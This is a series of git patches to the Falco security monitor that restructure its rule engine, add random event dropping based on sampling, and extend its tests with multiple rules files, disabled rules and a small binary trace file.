{ luaopen_lpeg(m_ls); luaopen_yaml(m_ls); - falco_common::init(m_lua_main_filename); + falco_common::init(m_lua_main_filename.c_str(), FALCO_ENGINE_SOURCE_LUA_DIR); falco_rules::init(m_ls); } diff --git a/userspace/falco/falco_engine.h b/userspace/engine/falco_engine.h similarity index 98% rename from userspace/falco/falco_engine.h rename to userspace/engine/falco_engine.h index 63675af9..38661a06 100644 --- a/userspace/falco/falco_engine.h +++ b/userspace/engine/falco_engine.h @@ -7,7 +7,6 @@ #include "rules.h" -#include "config_falco.h" #include "falco_common.h" // diff --git a/userspace/falco/lpeg.h b/userspace/engine/lpeg.h similarity index 100% rename from userspace/falco/lpeg.h rename to userspace/engine/lpeg.h diff --git a/userspace/falco/lua/README.md b/userspace/engine/lua/README.md similarity index 100% rename from userspace/falco/lua/README.md rename to userspace/engine/lua/README.md diff --git a/userspace/falco/lua/compiler.lua b/userspace/engine/lua/compiler.lua similarity index 100% rename from userspace/falco/lua/compiler.lua rename to userspace/engine/lua/compiler.lua diff --git a/userspace/falco/lua/parser-smoke.sh b/userspace/engine/lua/parser-smoke.sh similarity index 100% rename from userspace/falco/lua/parser-smoke.sh rename to userspace/engine/lua/parser-smoke.sh diff --git a/userspace/falco/lua/parser.lua b/userspace/engine/lua/parser.lua similarity index 100% rename from userspace/falco/lua/parser.lua rename to userspace/engine/lua/parser.lua diff --git a/userspace/falco/lua/rule_loader.lua b/userspace/engine/lua/rule_loader.lua similarity index 100% rename from userspace/falco/lua/rule_loader.lua rename to userspace/engine/lua/rule_loader.lua diff --git a/userspace/falco/lyaml.h b/userspace/engine/lyaml.h similarity index 100% rename from userspace/falco/lyaml.h rename to userspace/engine/lyaml.h diff --git a/userspace/falco/rules.cpp b/userspace/engine/rules.cpp similarity index 100% rename from userspace/falco/rules.cpp rename to userspace/engine/rules.cpp diff --git a/userspace/falco/rules.h b/userspace/engine/rules.h similarity index 100% rename from userspace/falco/rules.h rename to userspace/engine/rules.h diff --git a/userspace/falco/CMakeLists.txt b/userspace/falco/CMakeLists.txt index 510c0b54..9111bcfa 100644 --- a/userspace/falco/CMakeLists.txt +++ b/userspace/falco/CMakeLists.txt @@ -3,17 +3,16 @@ include_directories("${LUAJIT_INCLUDE}") include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libscap") include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp") +include_directories("${PROJECT_SOURCE_DIR}/userspace/engine") include_directories("${PROJECT_BINARY_DIR}/userspace/falco") include_directories("${CURL_INCLUDE_DIR}") include_directories("${YAMLCPP_INCLUDE_DIR}") include_directories("${DRAIOS_DEPENDENCIES_DIR}/yaml-${DRAIOS_YAML_VERSION}/target/include") -add_executable(falco configuration.cpp formats.cpp rules.cpp logger.cpp falco_common.cpp falco_engine.cpp falco_outputs.cpp falco.cpp) +add_executable(falco configuration.cpp formats.cpp logger.cpp falco_outputs.cpp falco.cpp) -target_link_libraries(falco sinsp) +target_link_libraries(falco falco_engine sinsp) target_link_libraries(falco - "${LPEG_SRC}/lpeg.a" - "${LYAML_LIB}" "${LIBYAML_LIB}" "${YAMLCPP_LIB}") diff --git a/userspace/falco/config_falco.h.in b/userspace/falco/config_falco.h.in index 0f0ab124..a977dbb0 100644 --- a/userspace/falco/config_falco.h.in +++ b/userspace/falco/config_falco.h.in @@ -2,7 +2,7 @@ #define FALCO_VERSION "${FALCO_VERSION}" -#define FALCO_LUA_DIR "/usr/share/falco/lua/" +#define FALCO_LUA_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}/lua/" #define FALCO_SOURCE_DIR "${PROJECT_SOURCE_DIR}" #define FALCO_SOURCE_CONF_FILE "${PROJECT_SOURCE_DIR}/falco.yaml" #define FALCO_INSTALL_CONF_FILE "/etc/falco.yaml" diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp index 8359c2a2..e7ebc1b2 100644 --- a/userspace/falco/falco.cpp +++ b/userspace/falco/falco.cpp @@ -14,6 +14,7 @@ #include "configuration.h" #include "falco_engine.h" +#include "config_falco.h" bool g_terminate = false; // diff --git a/userspace/falco/falco_outputs.cpp b/userspace/falco/falco_outputs.cpp index 7929f1c1..d16cbdda 100644 --- a/userspace/falco/falco_outputs.cpp +++ b/userspace/falco/falco_outputs.cpp @@ -1,6 +1,9 @@ #include "falco_outputs.h" +#include "config_falco.h" + + #include "formats.h" #include "logger.h" @@ -24,7 +27,7 @@ void falco_outputs::init(bool json_output) throw falco_exception("No inspector provided"); } - falco_common::init(m_lua_main_filename); + falco_common::init(m_lua_main_filename.c_str(), FALCO_SOURCE_LUA_DIR); falco_formats::init(m_inspector, m_ls, json_output); diff --git a/userspace/falco/falco_outputs.h b/userspace/falco/falco_outputs.h index 938dbb94..28da94d6 100644 --- a/userspace/falco/falco_outputs.h +++ b/userspace/falco/falco_outputs.h @@ -1,7 +1,5 @@ #pragma once -#include "config_falco.h" - #include "falco_common.h" // From 09405e4fad177f926a85325353cb5fb39cfc2ccd Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Wed, 27 Jul 2016 15:18:37 -0700 Subject: [PATCH 06/63] Add configurable event dropping for falco engine. Add the ability to drop events at the falco engine level in a way that can scale with the dropping that already occurs at the kernel/inspector level. New inline function should_drop_evt() controls whether or not events are matched against the set of rules, and is controlled by two values--sampling ratio and sampling multiplier. Here's how the sampling ratio and multiplier influence whether or not an event is dropped in should_drop_evt(). The intent is that m_sampling_ratio is generally changing external to the engine e.g. in the main inspector class based on how busy the inspector is. A sampling ratio implies no dropping. Values > 1 imply increasing levels of dropping. External to the engine, the sampling ratio results in events being dropped at the kernel/inspector interface. The sampling multiplier is an amplification to the sampling factor in m_sampling_ratio. If 0, no additional events are dropped other than those that might be dropped by the kernel/inspector interface. If 1, events that make it past the kernel module are subject to an additional level of dropping at the falco engine, scaling with the sampling ratio in m_sampling_ratio. Unlike the dropping that occurs at the kernel level, where the events in the first part of each second are dropped, this dropping is random. --- userspace/engine/falco_engine.cpp | 41 ++++++++++++++++++++++++++-- userspace/engine/falco_engine.h | 45 ++++++++++++++++++++++++++++++- 2 files changed, 83 insertions(+), 3 deletions(-) diff --git a/userspace/engine/falco_engine.cpp b/userspace/engine/falco_engine.cpp index c4dcb771..15aa11d4 100644 --- a/userspace/engine/falco_engine.cpp +++ b/userspace/engine/falco_engine.cpp @@ -1,3 +1,5 @@ +#include +#include #include #include @@ -17,14 +19,19 @@ string lua_print_stats = "print_stats"; using namespace std; -falco_engine::falco_engine() - : m_rules(NULL) +falco_engine::falco_engine(bool seed_rng) + : m_rules(NULL), m_sampling_ratio(1), m_sampling_multiplier(0) { luaopen_lpeg(m_ls); luaopen_yaml(m_ls); falco_common::init(m_lua_main_filename.c_str(), FALCO_ENGINE_SOURCE_LUA_DIR); falco_rules::init(m_ls); + + if(seed_rng) + { + srandom((unsigned) getpid()); + } } falco_engine::~falco_engine() @@ -75,6 +82,12 @@ void falco_engine::enable_rule(string &pattern, bool enabled) falco_engine::rule_result *falco_engine::process_event(sinsp_evt *ev) { + + if(should_drop_evt()) + { + return NULL; + } + if(!m_evttype_filter.run(ev)) { return NULL; @@ -142,4 +155,28 @@ void falco_engine::add_evttype_filter(string &rule, m_evttype_filter.add(rule, evttypes, filter); } +void falco_engine::set_sampling_ratio(uint32_t sampling_ratio) +{ + m_sampling_ratio = sampling_ratio; +} +void falco_engine::set_sampling_multiplier(double sampling_multiplier) +{ + m_sampling_multiplier = sampling_multiplier; +} + +inline bool falco_engine::should_drop_evt() +{ + if(m_sampling_multiplier == 0) + { + return false; + } + + if(m_sampling_ratio == 1) + { + return false; + } + + double coin = (random() * (1.0/RAND_MAX)); + return (coin >= (1.0/(m_sampling_multiplier * m_sampling_ratio))); +} diff --git a/userspace/engine/falco_engine.h b/userspace/engine/falco_engine.h index 38661a06..30223c99 100644 --- a/userspace/engine/falco_engine.h +++ b/userspace/engine/falco_engine.h @@ -18,7 +18,7 @@ class falco_engine : public falco_common { public: - falco_engine(); + falco_engine(bool seed_rng=true); virtual ~falco_engine(); // @@ -66,10 +66,53 @@ public: list &evttypes, sinsp_filter* filter); + // + // Set the sampling ratio, which can affect which events are + // matched against the set of rules. + // + void set_sampling_ratio(uint32_t sampling_ratio); + + // + // Set the sampling ratio multiplier, which can affect which + // events are matched against the set of rules. + // + void set_sampling_multiplier(double sampling_multiplier); + private: + + // + // Determine whether the given event should be matched at all + // against the set of rules, given the current sampling + // ratio/multiplier. + // + inline bool should_drop_evt(); + falco_rules *m_rules; sinsp_evttype_filter m_evttype_filter; + // + // Here's how the sampling ratio and multiplier influence + // whether or not an event is dropped in + // should_drop_evt(). The intent is that m_sampling_ratio is + // generally changing external to the engine e.g. in the main + // inspector class based on how busy the inspector is. A + // sampling ratio implies no dropping. Values > 1 imply + // increasing levels of dropping. External to the engine, the + // sampling ratio results in events being dropped at the + // kernel/inspector interface. + // + // The sampling multiplier is an amplification to the sampling + // factor in m_sampling_ratio. If 0, no additional events are + // dropped other than those that might be dropped by the + // kernel/inspector interface. If 1, events that make it past + // the kernel module are subject to an additional level of + // dropping at the falco engine, scaling with the sampling + // ratio in m_sampling_ratio. + // + + uint32_t m_sampling_ratio; + double m_sampling_multiplier; + std::string m_lua_main_filename = "rule_loader.lua"; }; From f1748060c57cbb90180cbc4d179f2fec7b8201c0 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Thu, 4 Aug 2016 12:01:54 -0700 Subject: [PATCH 07/63] Add tests for multiple files, disabled rules. Add test that cover reading from multiple sets of rule files and disabling rules. Specific changes: - Modify falco to allow multiple -r arguments to read from multiple files. - In the test multiplex file, add a disabled_rules attribute, containing a sequence of rules to disable. Result in -D arguments when running falco. - In the test multiplex file, 'rules_file' can be a sequence. It results in multiple -r arguments when running falco. - In the test multiplex file, 'detect_level' can be a squence of multiple severity levels. All levels will be checked for in the output. - Move all test rules files to a rules subdirectory and all trace files to a traces subdirectory. - Add a small trace file for a simple cat of /dev/null. Used by the new tests. - Add the following new tests: - Reading from multiple files, with the first file being empty. Ensure that the rules from the second file are properly loaded. - Reading from multiple files with the last being empty. Ensures that the empty file doesn't overwrite anything from the first file. - Reading from multiple files with varying severity levels for each rule. Ensures that both files are properly read. - Disabling rules from a rules file, both with full rule names and regexes. Will result in not detecting anything. --- test/falco_test.py | 46 ++++++++++++++----- test/falco_tests.yaml.in | 51 +++++++++++++++++++-- test/rules/double_rule.yaml | 13 ++++++ test/rules/empty_rules.yaml | 0 test/{ => rules}/falco_rules_warnings.yaml | 0 test/rules/single_rule.yaml | 8 ++++ test/trace_files/cat_write.scap | Bin 0 -> 12532 bytes test/{ => trace_files}/empty.scap | Bin userspace/falco/configuration.cpp | 2 +- userspace/falco/configuration.h | 2 +- userspace/falco/falco.cpp | 20 +++++--- 11 files changed, 119 insertions(+), 23 deletions(-) create mode 100644 test/rules/double_rule.yaml create mode 100644 test/rules/empty_rules.yaml rename test/{ => rules}/falco_rules_warnings.yaml (100%) create mode 100644 test/rules/single_rule.yaml create mode 100644 test/trace_files/cat_write.scap rename test/{ => trace_files}/empty.scap (100%) diff --git a/test/falco_test.py b/test/falco_test.py index 7b72d5ee..66eff585 100644 --- a/test/falco_test.py +++ b/test/falco_test.py @@ -26,8 +26,28 @@ class FalcoTest(Test): self.json_output = self.params.get('json_output', '*', default=False) self.rules_file = self.params.get('rules_file', '*', default=os.path.join(self.basedir, '../rules/falco_rules.yaml')) - if not os.path.isabs(self.rules_file): - self.rules_file = os.path.join(self.basedir, self.rules_file) + if not isinstance(self.rules_file, list): + self.rules_file = [self.rules_file] + + self.rules_args = "" + + for file in self.rules_file: + if not os.path.isabs(file): + file = os.path.join(self.basedir, file) + self.rules_args = self.rules_args + "-r " + file + " " + + self.disabled_rules = self.params.get('disabled_rules', '*', default='') + + if self.disabled_rules == '': + self.disabled_rules = [] + + if not isinstance(self.disabled_rules, list): + self.disabled_rules = [self.disabled_rules] + + self.disabled_args = "" + + for rule in self.disabled_rules: + self.disabled_args = self.disabled_args + "-D " + rule + " " self.rules_warning = self.params.get('rules_warning', '*', default=False) if self.rules_warning == False: @@ -49,6 +69,9 @@ class FalcoTest(Test): if self.should_detect: self.detect_level = self.params.get('detect_level', '*') + if not isinstance(self.detect_level, list): + self.detect_level = [self.detect_level] + # Doing this in 2 steps instead of simply using # module_is_loaded to avoid logging lsmod output to the log. lsmod_output = process.system_output("lsmod", verbose=False) @@ -105,16 +128,17 @@ class FalcoTest(Test): if events_detected == 0: self.fail("Detected {} events when should have detected > 0".format(events_detected)) - level_line = '(?i){}: (\d+)'.format(self.detect_level) - match = re.search(level_line, res.stdout) + for level in self.detect_level: + level_line = '(?i){}: (\d+)'.format(level) + match = re.search(level_line, res.stdout) - if match is None: - self.fail("Could not find a line '{}: ' in falco output".format(self.detect_level)) + if match is None: + self.fail("Could not find a line '{}: ' in falco output".format(level)) - events_detected = int(match.group(1)) + events_detected = int(match.group(1)) - if not events_detected > 0: - self.fail("Detected {} events at level {} when should have detected > 0".format(events_detected, self.detect_level)) + if not events_detected > 0: + self.fail("Detected {} events at level {} when should have detected > 0".format(events_detected, level)) def check_json_output(self, res): if self.json_output: @@ -131,8 +155,8 @@ class FalcoTest(Test): self.log.info("Trace file %s", self.trace_file) # Run the provided trace file though falco - cmd = '{}/userspace/falco/falco -r {} -c {}/../falco.yaml -e {} -o json_output={} -v'.format( - self.falcodir, self.rules_file, self.falcodir, self.trace_file, self.json_output) + cmd = '{}/userspace/falco/falco {} {} -c {}/../falco.yaml -e {} -o json_output={} -v'.format( + self.falcodir, self.rules_args, self.disabled_args, self.falcodir, self.trace_file, self.json_output) self.falco_proc = process.SubProcess(cmd) diff --git a/test/falco_tests.yaml.in b/test/falco_tests.yaml.in index bb1eb511..17e61f24 100644 --- a/test/falco_tests.yaml.in +++ b/test/falco_tests.yaml.in @@ -1,13 +1,13 @@ trace_files: !mux builtin_rules_no_warnings: detect: False - trace_file: empty.scap + trace_file: trace_files/empty.scap rules_warning: False test_warnings: detect: False - trace_file: empty.scap - rules_file: falco_rules_warnings.yaml + trace_file: trace_files/empty.scap + rules_file: rules/falco_rules_warnings.yaml rules_warning: - no_evttype - evttype_not_equals @@ -60,3 +60,48 @@ trace_files: !mux - repeated_evttypes_with_in: [open] - repeated_evttypes_with_separate_in: [open] - repeated_evttypes_with_mix: [open] + + multiple_rules_first_empty: + detect: True + detect_level: WARNING + rules_file: + - rules/empty_rules.yaml + - rules/single_rule.yaml + trace_file: trace_files/cat_write.scap + + multiple_rules_last_empty: + detect: True + detect_level: WARNING + rules_file: + - rules/single_rule.yaml + - rules/empty_rules.yaml + trace_file: trace_files/cat_write.scap + + multiple_rules: + detect: True + detect_level: + - WARNING + - INFO + - ERROR + rules_file: + - rules/single_rule.yaml + - rules/double_rule.yaml + trace_file: trace_files/cat_write.scap + + disabled_rules: + detect: False + rules_file: + - rules/empty_rules.yaml + - rules/single_rule.yaml + disabled_rules: + - open_from_cat + trace_file: trace_files/cat_write.scap + + disabled_rules_using_regex: + detect: False + rules_file: + - rules/empty_rules.yaml + - rules/single_rule.yaml + disabled_rules: + - "open.*" + trace_file: trace_files/cat_write.scap diff --git a/test/rules/double_rule.yaml b/test/rules/double_rule.yaml new file mode 100644 index 00000000..4633a55b --- /dev/null +++ b/test/rules/double_rule.yaml @@ -0,0 +1,13 @@ +# This ruleset depends on the is_cat macro defined in single_rule.yaml + +- rule: exec_from_cat + desc: A process named cat does execve + condition: evt.type=execve and is_cat + output: "An exec was seen (command=%proc.cmdline)" + priority: ERROR + +- rule: access_from_cat + desc: A process named cat does an access + condition: evt.type=access and is_cat + output: "An access was seen (command=%proc.cmdline)" + priority: INFO \ No newline at end of file diff --git a/test/rules/empty_rules.yaml b/test/rules/empty_rules.yaml new file mode 100644 index 00000000..e69de29b diff --git a/test/falco_rules_warnings.yaml b/test/rules/falco_rules_warnings.yaml similarity index 100% rename from test/falco_rules_warnings.yaml rename to test/rules/falco_rules_warnings.yaml diff --git a/test/rules/single_rule.yaml b/test/rules/single_rule.yaml new file mode 100644 index 00000000..3044c6b8 --- /dev/null +++ b/test/rules/single_rule.yaml @@ -0,0 +1,8 @@ +- macro: is_cat + condition: proc.name=cat + +- rule: open_from_cat + desc: A process named cat does an open + condition: evt.type=open and is_cat + output: "An open was seen (command=%proc.cmdline)" + priority: WARNING \ No newline at end of file diff --git a/test/trace_files/cat_write.scap b/test/trace_files/cat_write.scap new file mode 100644 index 0000000000000000000000000000000000000000..c4cf36b9cfa11aa1cd8ce229fc29b7ac1263d86b GIT binary patch literal 12532 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 